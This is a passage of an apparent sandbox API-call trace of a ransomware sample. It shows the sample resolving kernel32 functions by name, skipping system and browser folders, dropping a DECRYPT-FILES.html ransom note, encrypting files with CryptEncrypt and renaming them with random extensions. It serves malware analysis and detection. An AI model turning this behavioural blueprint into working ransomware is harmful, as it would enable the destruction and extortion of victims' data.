lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0120.375] lstrlenA (lpString="CREATETHREAD") returned 12 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0120.375] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0120.375] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0120.375] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0120.375] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0120.375] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0120.375] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0120.375] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0120.376] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.RyaBKg") returned 52 [0120.376] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.RyaBKg" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.ryabkg"), dwFlags=0x0) returned 1 [0120.376] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.377] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.377] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.377] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0120.377] FindClose (in: hFindFile=0x3b81140 | out: hFindFile=0x3b81140) returned 1 [0120.377] CloseHandle (hObject=0x528) returned 1 [0120.377] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0120.378] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0120.378] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0120.378] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0120.378] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1033\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch=":\\Windows") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\Program Files") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\Games\\") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\Tor Browser\\") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\ProgramData\\") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0120.378] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1033\\", lpSrch="\\All Users") returned 0x0 [0120.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0120.378] lstrlenW (lpString="eogwkz.dat") returned 10 [0120.378] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\\\eogwkz.dat") returned 38 [0120.378] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1033\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0120.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0120.379] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0120.379] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\\\DECRYPT-FILES.html") returned 46 [0120.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1033\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0120.381] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0120.381] CloseHandle (hObject=0x470) returned 1 [0120.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0120.382] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1033\\*") returned="C:\\588bce7c90097ed212\\1033\\*" [0120.382] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4e015077, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81280 [0120.382] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.382] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4e015077, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0120.382] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.382] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.382] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e015077, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4e015077, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4e015077, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0120.382] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0120.382] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e015077, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4e015077, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4e015077, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0120.382] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0120.383] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0120.383] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0120.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0120.383] lstrlenW (lpString="eogwkz.dat") returned 10 [0120.383] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1033\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0120.383] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1033\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1033\\eogwkz.dat" [0120.383] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.383] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1033\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0120.383] CloseHandle (hObject=0x0) returned 0 [0120.383] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.384] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0120.384] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0120.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0120.384] lstrlenW (lpString="eula.rtf") returned 8 [0120.384] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1033\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0120.384] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf" [0120.384] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0120.385] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3188) returned 1 [0120.385] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0120.385] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0120.643] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0120.643] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0120.643] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0120.643] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0120.644] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0120.644] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.644] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0120.644] CloseHandle (hObject=0x5f8) returned 1 [0120.645] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.645] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0120.646] CloseHandle (hObject=0x0) returned 0 [0120.646] CloseHandle (hObject=0x5f4) returned 1 [0120.646] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.647] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.647] GetTickCount () returned 0x33970 [0120.647] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.648] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0120.648] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0120.648] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0120.649] lstrlenA (lpString="kernel32.dll") returned 12 [0120.649] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0120.649] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0120.649] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0120.649] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0120.649] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0120.649] lstrlenA (lpString="ADDATOMA") returned 8 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0120.649] lstrlenA (lpString="ADDATOMW") returned 8 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0120.649] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0120.649] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0120.649] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0120.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0120.649] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0120.650] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0120.650] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0120.650] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0120.650] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0120.650] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0120.650] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0120.650] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0120.650] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0120.650] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0120.650] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0120.650] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0120.650] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0120.650] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0120.650] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0120.650] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0120.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0120.650] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0120.651] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0120.651] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0120.651] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0120.651] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0120.651] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0120.651] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0120.651] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0120.651] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0120.651] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0120.651] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0120.651] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0120.651] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0120.651] lstrlenA (lpString="BACKUPREAD") returned 10 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0120.651] lstrlenA (lpString="BACKUPSEEK") returned 10 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0120.651] lstrlenA (lpString="BACKUPWRITE") returned 11 [0120.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0120.651] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0120.652] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0120.652] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0120.652] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: 